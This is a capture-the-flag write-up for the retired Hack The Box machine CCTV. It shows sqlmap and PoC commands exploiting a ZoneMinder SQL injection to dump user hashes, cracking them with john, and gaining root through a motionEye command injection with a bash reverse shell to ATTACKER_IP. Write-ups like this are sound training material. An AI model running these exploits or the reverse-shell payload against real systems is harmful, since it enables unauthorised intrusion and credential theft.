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[ writeup · case #011 ]

CCTV

ZoneMinder is vulnerable to CVE-2024-51482 (boolean-based SQL injection); dumping the zm.Users table and cracking the recovered hash gives credentials for a foothold.

date
2026-03-07
read
2 min
tags
#htb #retired
platform
htb
os
linux
difficulty
easy

enumeration

scan

bash
❯ rustscan --range 1-65535 -a cctv.htb  -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 [REDACTED:IP][REDACTED:IP]:4a (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDZ15GCLPzC4gTM0nqzpUbr/2L77bM1C9sbBecivQPX/KcKvJrP88peCJXwTug7T/EORHr7M7JeHtMQJ6hYihFA=
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.58
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: SecureVision CCTV & Security Solutions
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/16%OT=22%CT=%CU=34781%PV=Y%DS=2%DC=T%G=N%TM=69B806B0
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FB%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O
OS:1=M542ST11NW7%O2=M542ST11NW7%O3=M542NNT11NW7%O4=M542ST11NW7%O5=M542ST11N
OS:W7%O6=M542ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R
OS:=Y%DF=Y%T=40%W=FAF0%O=M542NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%
OS:RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R
OS:%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU
OS:D=G)IE(R=Y%DFI=N%T=40%CD=S)

port 80 (http)

screenshot 1 (opens the full-size image)

CVE-2024-51482

  • that version is actually vulnerable to a boolean-based SQL injection reference
  • looking at the PoC the tid function in this url is actually vulnerable to SQL Injection.
url
http://hostname_or_ip/zm/index.php?view=request&request=event&action=removetag&tid=1
  • so using sqlmap we can fetch the database name
bash
❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
  --cookie="ZMSESSID=j2l5lv8mk1ln0rurlqq1c9sh7m" \
  -p tid \      
  --dump \
  --batch \
  --technique=T \
  --random-agent

[17:00:31] [INFO] fetching tables for database: 'zm'
[17:00:31] [INFO] fetching number of tables for database 'zm'
[17:00:31] [INFO] retrieved: 43
  • dumping 43 tables with a time-based blind isn't a great idea
  • Reviewing theCVE-2024-51482advisory and ZoneMinder source code reveals credentials are stored in zm.Users. Skipped table enumeration and queried directly.```bash
bash
❯ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
  --cookie="ZMSESSID=6end9h4jq3nihtjo7u3nctt9cq" \
  -p tid \
  --sql-query="SELECT Username,Password FROM zm.Users LIMIT 5" \
  --batch \
  --technique=T \
  --random-agent

note sqlmap will take you ages with this

  • use this PoC instead
bash
❯ python3 poc.py -t cctv.htb -u admin -p [REDACTED:CRED] --threads 5
[*] Target: http://cctv.htb
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!

[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: adminars | Current: admin
[+] Extracted: [REDACTED:HASH]
[+] Extracted: markhars | Current: mark
[+] Extracted: [REDACTED:HASH]
[+] Extracted: superadmin | Current: superadmin
[+] Extracted: [REDACTED:HASH]

=============================================================================
| Username   | Password                                                     |
=============================================================================
| admin      | [REDACTED:HASH] |
| mark       | [REDACTED:HASH] |
| superadmin | [REDACTED:HASH] |
=============================================================================

[+] 3 entries dumped                                                                                  
  • using haiti to identify that hash
bash
❯ haiti '[REDACTED:HASH]'
bcrypt [HC: 3200] [JtR: bcrypt]
Blowfish(OpenBSD) [HC: 3200] [JtR: bcrypt]
Woltlab Burning Board 4.x
bcrypt(sha256($pass)) / bcryptsha256 [HC: 30600]
  • then we crack it with hashcat
bash
❯ hashcat -a 0  -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
  • or with john
text
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
opensesame       (?)     
1g 0:00:00:28 DONE (2026-03-16 18:41) 0.03451g/s 206.2p/s 206.2c/s 206.2C/s cristhian..tuyyo
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
❯ john hash.txt --show
?:opensesame
  • credentials
bash
mark:opensesame
bash
❯ ssh [REDACTED:EMAIL]

mark@cctv:~$ id
uid=1000(mark) gid=1000(mark) groups=1000(mark),24(cdrom),30(dip),46(plugdev)

root+user flag

Internal Enumeration

After landing a shell as mark, I check what's running internally:

bash
ss -tlnp

Several services are listening on localhost only:

PortService
7999Motion Control
8765motionEye
9081MJPEG Stream
8554RTSP
3306MySQL

Port 7999 confirms Motion is running:

bash
mark@cctv:~$ curl -i http://127.0.0.1:7999
HTTP/1.1 200 OK
Date: Mon, 16 Mar 2026 23:58:45 GMT
Content-Type: text/plain;
Content-Length: 36

Motion 4.7.1 Running [1] Camera 
1 

Port Forwarding

  • Since motionEye only listens on localhost, I forward the port over SSH:
bash
ssh -L 8765:127.0.0.1:8765 [REDACTED:EMAIL]
  • Now http://127.0.0.1:8765 is accessible in my browser.

  • I find its config file, which leaks the admin credentials:

bash
mark@cctv:~$ find / -path "*/motioneye*" -name "*.conf" 2>/dev/null -exec cat {} \;

# @admin_username admin
# @normal_username user
# @admin_password [REDACTED:HASH]

screenshot 4 (opens the full-size image)

Privilege Escalation CVE-2025-60787

bash
mark@cctv:~$ curl -i  http://127.0.0.1:8765
HTTP/1.1 200 OK
Server: motionEye/0.43.1b4
Content-Type: text/html
Date: Mon, 16 Mar 2026 23:01:18 GMT
Etag: "[REDACTED:HASH]"
Content-Length: 115726
  • motionEye ≤ 0.43.1b4 is vulnerable to command injection. Configuration fields are written directly into Motion's config file without sanitization when the service reloads, injected commands execute as root.

The only protection is client-side JavaScript validation, bypassed via browser console:

javascript
configUiValid = function() { return true; }

I enable Still Images, set Capture mode to All Frames, then paste the reverse shell into the Image File Name field:

text
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"')")

screenshot 5 (opens the full-size image)

With a listener ready:

bash
nc -lvnp 4444

Clicking Apply saves the malicious config. When motionEye reloads and Motion attempts to write an image using that filename template, the shell command executes.

bash
root@cctv:/etc/motioneye# id
uid=0(root) gid=0(root) groups=0(root)
bash
root@cctv:/etc/motioneye# cat /home/light
root@cctv:/etc/motioneye# cat /home/light/user.txt